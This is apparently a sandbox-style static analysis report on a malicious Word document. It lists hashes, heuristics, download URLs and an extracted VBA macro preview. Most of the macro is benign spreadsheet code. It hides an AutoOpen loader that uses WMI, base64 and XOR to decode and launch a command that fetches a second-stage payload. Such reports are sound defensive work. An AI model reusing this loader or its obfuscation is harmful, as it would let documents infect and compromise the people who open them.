Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ffc69a5749748170…

MALICIOUS

Office (OLE)

218.5 KB Created: 2019-12-04 16:54:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 1fdfb946eda28fddf74fc3c634223943 SHA-1: b999c71384712639521c77d8ef6efcdbb6050075 SHA-256: ffc69a574974817077317ffb4231b02a41e1d3bf7826fd2cb3c3098166999032
312 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1204.002 Malicious File T1071.001 Web Protocols

The sample contains an obfuscated VBA macro loader that utilizes CreateObject and Shell execution. The macro is designed to download and execute a second-stage payload from the URLs http://colfev12.site/Bijka.dat, http://colfev12.site/sfera.dat, and http://colfev12.site/oYWE.dat. The presence of PowerShell and certutil references further indicates a download and execution chain.

Heuristics 11

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set dos = CreateObject(StrReverse("rotacoLmebWS.gnitpircSmebW"))
    'If checkProc() Or checkMac() Or checkPnP() Or checkBios() Or checkCores() Or checkFilenameBad() Or checkTasks() Then
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set dos = CreateObject(StrReverse("rotacoLmebWS.gnitpircSmebW"))
    'If checkProc() Or checkMac() Or checkPnP() Or checkBios() Or checkCores() Or checkFilenameBad() Or checkTasks() Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://colfev12.site/Bijka.dat,http://colfev12.site/sfera.dat,http://colfev12.site/oYWE.datde�| In document text (OLE body)
    • http://colfev12.site/Bijka.dat,http://colfev12.site/sfera.dat,http://colfev12.site/oYWE.datIn document text (OLE body)
    • http://colfev12.site/Bijka.dat,http://colfev12.site/sfera.dat,http://In macro / runtime command snippet
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 155615 bytes
SHA-256: 80a27dea4d95666a61e3ef907c6bcf5fd7af5f9ad25f62af4887b3028903d213
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Const CP_UTF8                       As Long = 65001

#If Win64 Then
Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As LongPtr
Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr) As Long
#Else
Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long
Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long

#End If

Function d4ra(i As Double, j As Double, k As Double)
Dim str As String
str = ""
    If i > j Then
        If j > k Then
            If j > 0 Then    'i>j>k  and i,j>0;k<0
                str = "±+-"
            Else            'i>j>k  and i>0;j,k<0
                str = "+-="
            End If
        Else   'j<=k
            If i > k Then    'i>k>j
                If k > 0 Then       'i>k>j,  i,k>0; j<0
                    str = "±-+"
                Else                'i>k>j,  i>0,k,j<0
                    str = "+=-"
                End If
            Else             'k>i>j
                If i > 0 Then       'k>i>j,k,i>0,j<0
                    str = "+-±"
                Else               'k>i>j,k>0,i,j<0
                    str = "-=+"
                End If
            End If
        End If
    ElseIf i < j Then 'i<j'
        If j < k Then     'i<j<k
            If j > 0 Then    'i<j<k,j,k>0,i<0
                str = "-+±"
            Else             'i<j<k,k>0,i,j<0
                str = "=-+"
            End If
        Else 'j>k
            If i < k Then   'j>k>i
                If k > 0 Then     'j>k>i,j,k>0,i<0
                    str = "-±+"
                Else              'j>k>i,j>0,k,i<0
                    str = "=+-"
                End If
            Else           'j>i>k
                If i > 0 Then    'j>i>k,  j,i>0,k<0
                    str = "+±-"
                Else             'j>i>k,  j>0,i,k<0
                    str = "-+="
                End If
            End If
        End If
    Else   'i=j
        
    End If

??? = str
End Function



Function ??(i As Double, j As Double, k As Double)
'i :???,j:???,k:???
Dim str As String
str = ""
    If i < j And j < k Then str = "A"
    If i > j And j > k Then str = "-A"
    If j > i And j > k And i < k Then str = "D"
    If j > i And j > k And i > k Then str = "-D"
    If j > i And j > k And i = k Then str = "-E"
    If j < i And j < k And i < k Then str = "B"
    If j < i And j < k And i > k Then str = "-B"
    If j < i And j < k And i = k Then str = "E"
    If i = j And i < k Then str = "G"
    If i = j And i > k Then str = "-C"
    If j = k And j < i Then str = "-G"
    If j = k And j > i Then str = "C"
    If i = j And j = k And i <> 0 Then str = "F"
    If i = j And j = k And i = 0 Then str = ""
?? = str
End Function


Function ??(dataSheet, rowNo, colNo, offset, compareType As String)
'------------------------------------------------
'dataSheet ??????
'rowNo,colNo,????????
'offset :????
'compareType:?????????,"D",???0?????“??”??;
'                                "A",????0?????“??”??
Dim str As String
Dim data(0, 2)
Dim Index(0, 2)
Dim colDesc
Dim sortType  As String
Dim tempData

Dim i, j, k

'??????,???????
If dataSheet.Cells(rowNo, colNo - Offset) = "" And dataSheet.Cells(rowNo, colNo + 1 - Offset) = "" And dataSheet.Cells(rowNo, colNo + 2 - Offset) = "" Then
    dataSheet.Cells(rowNo, colNo).Value = ""
    Exit Function
End If

'?????????
If dataSheet.Cells(rowNo, colNo - Offset) = dataSheet.Cells(rowNo - 1, colNo - Offset) And dataSheet.Cells(rowNo, colNo + 1 - Offset) = dataSheet.Cells(rowNo - 1, colNo + 1 - Offset) And dataSheet.Cells(rowNo, colNo + 2 - Offset) = dataSheet.Cells(rowNo - 1, colNo + 2 - Offset) Then
    dataSheet.Cells(rowNo, colNo).Value = ""
    Exit Function
End If

i = dataSheet.Cells(rowNo, colNo - Offset) - dataSheet.Cells(rowNo - 1, colNo - Offset)
j = dataSheet.Cells(rowNo, colNo + 1 - Offset) - dataSheet.Cells(rowNo - 1, colNo + 1 - Offset)
k = dataSheet.Cells(rowNo, colNo + 2 - Offset) - dataSheet.Cells(rowNo - 1, colNo + 2 - Offset)



colDesc = Split("3,1,0", ",")
If compareType = "D" Then '??????
    If i > 0 Then data(0, 0) = 0 Else data(0, 0) = i
    If j > 0 Then data(0, 1) = 0 Else data(0, 1) = j
    If k > 0 Then data(0, 2) = 0 Else data(0, 2) = k
    sortType = "A"
Else     '????????
    If i < 0 Then data(0, 0) = 0 Else data(0, 0) = i
    If j < 0 Then data(0, 1) = 0 Else data(0, 1) = j
    If k < 0 Then data(0, 2) = 0 Else data(0, 2) = k
    sortType = "D"
End If

Call SortCompareData(data, Index, sortType)
tempData = ??????(data, index, colDesc, 4)
dataSheet.Cells(rowNo, colNo).NumberFormatLocal = "@"
dataSheet.Cells(rowNo, colNo).Value = tempData

End Function



Function ????(dataSheet, rowNo, colNo, offset, compareType As String, Optional lbl As Integer = 1)
'------------------------------------------------
'dataSheet ??????
'rowNo,colNo,????????
'offset :????
'compareType:?????????,"D",???0?????“??”??;
'                                "A",????0?????“??”??
'lbl:??????: 1:???,???????????,offset??????????
'                   2:??????????,offset????????????
Dim str As String
Dim data(0, 2)
Dim Index(0, 2)
Dim colDesc
Dim sortType  As String
Dim tempData

Dim i, j, k

If lbl = 2 Then    '????????
    i = dataSheet.Cells(rowNo, colNo - Offset - 3) - dataSheet.Cells(rowNo, colNo - Offset)
    j = dataSheet.Cells(rowNo, colNo - Offset - 2) - dataSheet.Cells(rowNo, colNo - Offset)
    k = dataSheet.Cells(rowNo, colNo - Offset - 1) - dataSheet.Cells(rowNo, colNo - Offset)
Else     '????????
    i = dataSheet.Cells(rowNo, colNo - 3) - dataSheet.Cells(rowNo, colNo - Offset - 3)
    j = dataSheet.Cells(rowNo, colNo - 2) - dataSheet.Cells(rowNo, colNo - Offset - 2)
    k = dataSheet.Cells(rowNo, colNo - 1) - dataSheet.Cells(rowNo, colNo - Offset - 1)
End If

colDesc = Split("3,1,0", ",")
If compareType = "D" Then '??????
    If i > 0 Then data(0, 0) = 0 Else data(0, 0) = i
    If j > 0 Then data(0, 1) = 0 Else data(0, 1) = j
    If k > 0 Then data(0, 2) = 0 Else data(0, 2) = k
    sortType = "A"
Else     '????????
    If i < 0 Then data(0, 0) = 0 Else data(0, 0) = i
    If j < 0 Then data(0, 1) = 0 Else data(0, 1) = j
    If k < 0 Then data(0, 2) = 0 Else data(0, 2) = k
    sortType = "D"
End If

Call SortCompareData(data, Index, sortType)
tempData = ??????(data, index, colDesc, 4)
???? = tempData
End Function


Function ?????(i1, j1, k1, fixValue, compareType As String)
'------------------------------------------------
'dataSheet ??????
'rowNo,colNo,????????
'offset :????
'compareType:?????????,"D",???0?????“??”??;
'                                "A",????0?????“??”??
'lbl:??????: 1:???,???????????,offset??????????
'                   2:??????????,offset????????????
Dim str As String
Dim data(0, 2)
Dim Index(0, 2)
Dim colDesc
Dim sortType  As String
Dim tempData
Dim i, j, k

i = i1 - fixValue
j = j1 - fixValue
k = k1 - fixValue

colDesc = Split("3,1,0", ",")
If compareType = "D" Then '??????
    If i > 0 Then data(0, 0) = 0 Else data(0, 0) = i
    If j > 0 Then data(0, 1) = 0 Else data(0, 1) = j
    If k > 0 Then data(0, 2) = 0 Else data(0, 2) = k
    sortType = "A"
Else     '????????
    If i < 0 Then data(0, 0) = 0 Else data(0, 0) = i
    If j < 0 Then data(0, 1) = 0 Else data(0, 1) = j
    If k < 0 Then data(0, 2) = 0 Else data(0, 2) = k
    sortType = "D"
End If

Call SortCompareData(data, Index, sortType)
tempData = ??????(data, index, colDesc, 4)
????? = tempData
End Function



Function UniformLeague(leagueData, league, colNo)
'??????,??????
'leagueData :????????
'league:??
'netName:??????????
Dim i, j
For i = 1 To UBound(leagueData, 1)   '?
    If league = leagueData(i, colNo) Then
        Exit For
    End If
Next

If i <= UBound(leagueData, 1) Then
    UniformLeague = leagueData(i, 1)
Else
    UniformLeague = league
End If

End Function

Sub loadLeagueData(leagueData())
'??????????????

Dim x1 As Worksheet
Dim colNo As Integer
Dim rowNo As Integer
Dim i, j
Dim cnt

Set x1 = ActiveWorkbook.Sheets("01??")

rowNo = x1.UsedRange.Rows(x1.UsedRange.Rows.Count).row
colNo = x1.UsedRange.Columns(x1.UsedRange.Columns.Count).Column

ReDim leagueData(rowNo - 1, colNo)
cnt = 0
For i = 2 To rowNo
    If x1.Cells(i, 1) <> "" Then
        cnt = cnt + 1
        For j = 1 To colNo
            leagueData(cnt, j) = x1.Cells(i, j)
        Next
    End If

Next

Set x1 = Nothing

End Sub



Sub SortCompareData(iSortData, sortIndex, Optional sortType As String = "A")
'?????????,
'sortData ?????????
'sortIndex ?????????
'rowOrCol: ??????:R:??????,C:??????
'sortType ?????:A:??,D:??
Dim i, j, k
Dim rowLen, colLen
Dim tempData
Dim tempIndex
Dim sortData1()

sortData1 = iSortData

rowLen = UBound(sortData1, 1)
colLen = UBound(sortData1, 2)

For i = 0 To rowLen
     '?????????????,????????????sortIndex?????

    For j = 0 To colLen
        tempData = sortData1(i, j)
        tempIndex = j

        For k = 0 To colLen

            If sortType = "D" Then   '??
                If sortData1(i, k) > tempData Then
                    tempData = sortData1(i, k)
                    tempIndex = k
                End If
            Else     '????
                If sortData1(i, k) < tempData Then
                    tempData = sortData1(i, k)
                    tempIndex = k
                End If
            End If

        Next
        sortIndex(i, j) = tempIndex
        If sortType = "D" Then
            sortData1(i, tempIndex) = -1
        Else
            sortData1(i, tempIndex) = 1
        End If
    Next
Next
End Sub

Function ????(result, Optional separator As String = "-")
'??????,??????
'result:??????

Dim r1
Dim a1 As Integer
Dim a2 As Integer
Dim str As String
r1 = Split(result, Separator)
If UBound(r1) <> 1 Then
    str = ""
Else
    a1 = CInt(r1(0))
    a2 = CInt(r1(1))
    If a1 > a2 Then
        str = "3"
    ElseIf a1 < a2 Then
        str = "0"
    Else
        str = "1"
    End If
End If
???? = str
End Function


Function ConcateData(i As Double, j As Double, k As Double, trun_num As Integer, multiplier As Integer)
'???????????,i,j,k?????????
'trun_num:????????
'multiplier:???????
Dim str As String
Dim i1 As Double
Dim i2 As Double
Dim i3 As Double

    i1 = Round(i * multiplier, trun_num)
    i2 = Round(j * multiplier, trun_num)
    i3 = Round(k * multiplier, trun_num)

    ConcateData = CStr(i1) + "," + CStr(i2) + "," + CStr(i3)
    
End Function


Function MethodCompare(s1 As String, s2 As String)
'??????????,??????
's1: ???,?,?,?
's2: ???,?,?,?
Dim a1, a2, val1, val2, str
Dim i
    a1 = Split(s1, ",")
    a2 = Split(s2, ",")
    MethodCompare = ""
    val1 = 0
    val2 = 0
    str = Split("3,1,0", ",")
    For i = 0 To 2
        val2 = a1(i) - a2(i)
        If val2 > 0 Then
            If val2 > val1 Then
                MethodCompare = str(i) & MethodCompare
            Else
                MethodCompare = MethodCompare & str(i)
            End If
        End If
        val1 = val2
    Next
        'If (a1(0) - a2(0)) > 0 Then MethodCompare = MethodCompare & "3"
        'If (a1(1) - a2(1)) > 0 Then MethodCompare = MethodCompare & "1"
        'If (a1(2) - a2(2)) > 0 Then MethodCompare = MethodCompare & "0"
    
End Function



Sub ?????(dataSheet1 As Worksheet, j, colDict, srcLbl As String, srcOffset As Integer, cols As Integer, rowOffset As Integer, tgtLbl As String, tgtOffset As Integer)
'??????,???????,????,?????
'dataSheet1:??????
'j:     ??????, ?????????
'colDict:   ????????????
'srcLbl:????????
'srcOffset: ?????????????(?1????)
'cols: ????????
'rowOffset: ???????????????(?1????)
'tgtLbl: ???????????
'tgtOffset:????????????????????(?1????)
Dim i

Dim srcCol As Integer    '?????????
Dim tgtCol As Integer   '??????????

Dim srcDataCol As Integer   '??????? = ?????????+???-1
Dim tgtDataCol As Integer   '???????? = ????????+???-1

srcCol = colDict.Item(srcLbl)
tgtCol = colDict.Item(tgtLbl)

srcDataCol = srcCol + srcOffset - 1
tgtDataCol = tgtCol + tgtOffset - 1

For i = 1 To Cols
    dataSheet1.Cells(j, tgtDataCol + i - 1) = dataSheet1.Cells(j + rowOffset - 1, srcDataCol + i - 1)
    dataSheet1.Cells(j + 1, tgtDataCol + i - 1) = dataSheet1.Cells(j + rowOffset - 1, srcDataCol + i - 1)
    dataSheet1.Cells(j + 2, tgtDataCol + i - 1) = dataSheet1.Cells(j + rowOffset - 1, srcDataCol + i - 1)
Next

End Sub

Function calDispersion(p1, p2, p3, p4)
'???????????????????
'p1,p2,p3:???????
'p4:????
Dim v1 As Double
Dim v2 As Double
Dim v3 As Double
Dim v4 As Double

If IsNumeric(p1) Then
    v1 = p1
Else
    v1 = 0
End If
If IsNumeric(p2) Then
    v2 = p2
Else
    v2 = 0
End If
If IsNumeric(p3) Then
    v3 = p3
Else
    v3 = 0
End If
If IsNumeric(p4) Then
    v4 = p4
Else
    v4 = 0
End If

calDispersion = (v1 + v2 + v3) / 3 - v4

End Function


Sub AddCommandbars()
    Dim i As Byte
    'For i = 0 To 6
    On Error Resume Next
    Application.CommandBars("????").Delete
    Application.CommandBars.Add "????", 1, , True

    Application.CommandBars("????").Visible = True
    With Application.CommandBars("????").Controls
         With .Add(1, , , , True)
            .Caption = "????????"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 10
            .OnAction = "??????"
        End With
        
        With .Add(1, , , , True)
            .Caption = "?????"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 10
            .OnAction = "???????"
        End With

        
        With .Add(1, , , , True)
            .Caption = "??"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 11
            .OnAction = "????"
        End With
        
        With .Add(1, , , , True)
            .Caption = "??"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 12
            .OnAction = "????"
        End With
        With .Add(1, , , , True)
            .Caption = "????"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 22
            .OnAction = "????"
        End With
        With .Add(1, , , , True)
            .Caption = "????"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 44
            .OnAction = "??????"
        End With
        
        With .Add(1, , , , True)
            .Caption = "??????"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 25
            .OnAction = "??????"
        End With
        
        With .Add(1, , , , True)
            .Caption = "??????"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 26
            .OnAction = "??????"
        End With

        With .Add(1, , , , True)
            .Caption = "??????"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 46
            .OnAction = "??????"
        End With
        
        With .Add(1, , , , True)
            .Caption = "??????"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 28
            .OnAction = "??????"
        End With
        
        With .Add(1, , , , True)
            .Caption = "???"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 27
            .OnAction = "?????"
        End With
        
        With .Add(1, , , , True)
            .Caption = "????"
            .Visible = True
            .Style = msoButtonIconAndCaption
            .FaceId = 15
            .OnAction = "????"
        End With
        
    End With
End Sub


Sub DelCommandBars()
    On Error Resume Next
    Application.CommandBars("????").Delete
End Sub

Public Sub makeDirectory(FolderPath As String)
Dim x, i As Integer, strPath As String
x = Split(FolderPath, DIRECTORY_SEPARATOR)

For i = 0 To UBound(x)
    strPath = strPath & x(i) & DIRECTORY_SEPARATOR
    If Not isFolderExists(strPath) Then MkDir strPath
Next i

End Sub

'function to check if folder exist
Function isFolderExists(FolderPath As String) As Boolean
On Error Resume Next

ChDir FolderPath
If Err Then isFolderExists = False Else isFolderExists = True

End Function

Function getPathFromFullPath(path As String) As String
   getPathFromFullPath = Left(path, InStrRev(path, DIRECTORY_SEPARATOR) - 1)
End Function

' Search files in folder and subfolders
' strFolder - Path to folder
' strFileSpec - Mask of file
' bIncludeSubfolders - Is subfolders included
Public Sub findFilesInDirectory(colFiles As Collection, _
                             strFolder As String, _
                             strFileSpec As String, _
                             bIncludeSubfolders As Boolean)

    Dim strTemp As String
    Dim colFolders As New Collection
    Dim vFolderName As Variant

    'Add files in strFolder matching strFileSpec to colFiles
    strFolder = TrailingSlash(strFolder)
    strTemp = Dir(strFolder & strFileSpec)
    Do While strTemp <> vbNullString
        colFiles.Add strFolder & strTemp
        strTemp = Dir
    Loop

    If bIncludeSubfolders Then
        'Fill colFolders with list of subdirectories of strFolder
        strTemp = Dir(strFolder, vbDirectory)
        Do While strTemp <> vbNullString
            If (strTemp <> ".") And (strTemp <> "..") Then
                If (GetAttr(strFolder & strTemp) And vbDirectory) <> 0 Then
                    colFolders.Add strTemp
                End If
            End If
            strTemp = Dir
        Loop

        'Call RecursiveDir for each subfolder in colFolders
        For Each vFolderName In colFolders
            Call findFilesInDirectory(colFiles, strFolder & vFolderName, strFileSpec, True)
        Next vFolderName
    End If

End Sub
' Search files in folder and subfolders
' strFolder - Path to folder
' strFileSpec - Mask of file
' bIncludeSubfolders - Is subfolders included
Public Sub findFoldersInDirectory(colFolders As Collection, _
                             strFolder As String, _
                             bIncludeSubfolders As Boolean)
     
    Dim foldersInCurrentDirectory As New Collection
    'Fill colFolders with list of subdirectories of strFolder
    strFolder = TrailingSlash(strFolder)
    
    Dim strTemp As String
    strTemp = Dir(strFolder, vbDirectory)
    Do While strTemp <> vbNullString
        If (strTemp <> ".") And (strTemp <> "..") Then
            If (GetAttr(strFolder & strTemp) And vbDirectory) <> 0 Then
                colFolders.Add strFolder & strTemp
                foldersInCurrentDirectory.Add strTemp
            End If
        End If
        strTemp = Dir
    Loop
    
    If bIncludeSubfolders Then
        Dim vFolderName As Variant
        For Each vFolderName In foldersInCurrentDirectory
            Call findFoldersInDirectory(colFolders, strFolder & vFolderName, True)
        Next vFolderName
    End If
    
End Sub
'
'Public Sub test1()
'    Dim colFolders As New Collection
'
'    Call findFoldersInDirectory(colFolders, "D:\120", True)
'
'    Dim vFolderName As Variant
'    For Each vFolderName In colFolders
'            Debug.Print vFolderName
'    Next vFolderName
'End Sub

'Public Sub test2()
'    Dim colFiles As New Collection
'
'    Call findFilesInDirectory(colFiles, "D:\130", "*", False)
'
'    Dim vFileName As Variant
'    For Each vFileName In colFiles
'            Debug.Print vFileName
'    Next vFileName
'End Sub


Public Function TrailingSlash(strFolder As String) As String
    If Len(strFolder) > 0 Then
        If Right(strFolder, 1) = "\" Then
            TrailingSlash = strFolder
        Else
            TrailingSlash = strFolder & "\"
        End If
    End If
End Function


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Sub AutoOpen()


    Set dos = CreateObject(StrReverse("rotacoLmebWS.gnitpircSmebW"))
    'If checkProc() Or checkMac() Or checkPnP() Or checkBios() Or checkCores() Or checkFilenameBad() Or checkTasks() Then
    'GoTo rew
    'End If
    'If checkISP() Then
    'GoTo rew
    'End If
    
    Set Retelo = dos.ConnectServer()
    Retelo.Security_.ImpersonationLevel = 3
    Set Feasskoo = Retelo.Get(yetras(Groa("IQwcQFM8OAwYAiEHABcdFlgkFhcTBhsWS0IXHgMCGgQVABYcTw4BBgQKARwHF0YGGQhVXzMGGwoaExcyBQcaAAUWPBIMBhtYIhcHFg=="), "versache"))
    With Feasskoo
        If .StatusCode = 0 Then
            End
        ElseIf .StatusCode > 0 Then
            End
        End If
    End With
    Set Vringo = Retelo.Get("Win32_Process")
    On Error Resume Next
    Bye_feru = Vringo.Create(yetras(Groa("FQgWU04ASBUZEhcBEgsNCRpFXwQIDQwKARYGCg0GSA0fARYWD0NFBhkIHxIPB0gsGxUdARVOJQoSEB4WQSEBEQUxABIPEA4ABF5SIBUCGhFbJxsHEjcaBBgWFBYTQ0U2GRAAEARDABECFUhcTgAHCRAABEJTTRsMAgBdMQgJAwRYARMHTQscEQZfXVwCDAQDExNDQU8QARETSgEVBBEJSxIEBl8JFxwVTEpdEA4PDgAAVEBdEgocAFkKKyQkTQwEAkVfNwQQHAwYBAYaDg1IOVRBFx0XWTwgOzUuEQ0MH0sTHRcvQ080R1IAHAVbNy0oJjkWFhMCNEdaOVBXBA0eXyIgPyM9DDEyM0sXCwQ/SkVQRVIQBBEcEAIMHlNMBw0GGQEXU0QXDQgGQC4XBBEJRVMRFx4RRjQBExcTXQQbDUVQRQIcFgYaFh4AHh9BTh8MGAEdBBIXEQkTRRoaBQcNC1ZIERwMDgkLEkUhFhVOJAoVBAYaDg1ISCYEBhtBP0pBEwsESTUmJTUqR0lTMhcJFwJIIgEOAA0WBUUQHw4URgAOAFJeIBEPEBsAHActChsRVgEXAQBNDR0T"), "versache"), Null, Null, Null_team)

End Sub





Public Function Groa(sBase64 As String) As String
    Dim baValue()       As Byte
    Dim sValue          As String
    Dim lSize           As Long
    
    With VBA.CreateObject("MSXML2.DOMDocument").CreateElement("dummy")
        .DataType = "bin.base64"
        .text = sBase64
        baValue = .NodeTypedValue
        sValue = String$(4 * UBound(baValue), 0)
        lSize = MultiByteToWideChar(CP_UTF8, 0, baValue(0), UBound(baValue) + 1, StrPtr(sValue), Len(sValue))
        Groa = Left$(sValue, lSize)
    End With
End Function

Private Function yetras(text As String, key As String) As String
  Dim bText() As Byte
  Dim bKey() As Byte
  
  Dim TextUB As Long
  Dim KeyUB As Long
  
  
  
  bText = StrConv(text, vbFromUnicode)
  bKey = StrConv(key, vbFromUnicode)
  TextUB = UBound(bText)
  KeyUB = UBound(bKey)
  Dim TextPos As Long
  Dim Trenfa As Long
  For TextPos = 0 To TextUB
    bText(TextPos) = bText(TextPos) Xor bKey(Trenfa)
    If Trenfa < KeyUB Then
      Trenfa = Trenfa + 1
    Else
      Trenfa = 0
    End If
  Next TextPos
  yetras = StrConv(bText, vbUnicode)
End Function



Public Function DUPLO(file_path As String) As Boolean
    

    trega = Dir(file_path) <> ""
    Exit Function

DirErr:
      If Err.Number = 68 Then
        trega = False
    Else
        MsgBox Err.Description & " (" & Err.Number & ")", , "Run-time Error"
        Stop
    End If
End Function

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Sub QuoteCommaExport()
   ' Dimension all variables.
   Dim DestFile As String
   Dim FileNum As Integer
   Dim ColumnCount As Integer
   Dim RowCount As Integer

   ' Prompt user for destination file name.
   DestFile = InputBox("Enter the destination filename" _
      & Chr(10) & "(with complete path):", "Quote-Comma Exporter")

   ' Obtain next free file handle number.
   FileNum = FreeFile()

   ' Turn error checking off.
   On Error Resume Next

   ' Attempt to open destination file for output.
   Open DestFile For Output As #FileNum

   ' If an error occurs report it and end.
   If Err <> 0 Then
      MsgBox "Cannot open filename " & DestFile
      End
   End If

   ' Turn error checking on.
   On Error GoTo 0

   ' Loop for each row in selection.
   For RowCount = 1 To Selection.Rows.Count

      ' Loop for each column in selection.
      For ColumnCount = 1 To Selection.Columns.Count

         ' Write current cell's text to file with quotation marks.
         Print #FileNum, """" & Selection.Cells(RowCount, _
            ColumnCount).text & """";

         ' Check if cell is in last column.
         If ColumnCount = Selection.Columns.Count Then
            ' If so, then write a blank line.
            Print #FileNum,
         Else
            ' Otherwise, write a comma.
            Print #FileNum, ",";
         End If
      ' Start next iteration of ColumnCount loop.
      Next ColumnCount
   ' Start next iteration of RowCount loop.
   Next RowCount

   ' Close destination file.
   Close #FileNum
End Sub

Sub Importar_dados_txt()
    Dim LocaldoArquivo As String
    Dim N1 As Integer
    Dim ConteudoDaLinha As String
    
    LocaldoArquivo = Application.GetOpenFilename()
    'Atraves da caixa de dialogo faz uma busca e selecionando o arquivo que sera utilizado.
    
    N1 = FreeFile()
    'Atribui o primeiro numero de arquivo disponivel (E.g.: #1)

    Open LocaldoArquivo For Input As N1
    'Abre o arquivo para fazer busca de dados
    
    Do While EOF(N1) = False
    'Faz o loop no TXT
    
        Line Input #N1, ConteudoDaLinha
        
        If IsNumeric(Mid(ConteudoDaLinha, 30, 8)) = True Then 'envia as informacoes pra planilha
        
        Cells(ActiveCell.row, 1) = Mid(ConteudoDaLinha, 30, 8) 'Alimenta a planilha
        Cells(ActiveCell.row, 2) = Mid(ConteudoDaLinha, 178, 15) 'Alimenta a planilha
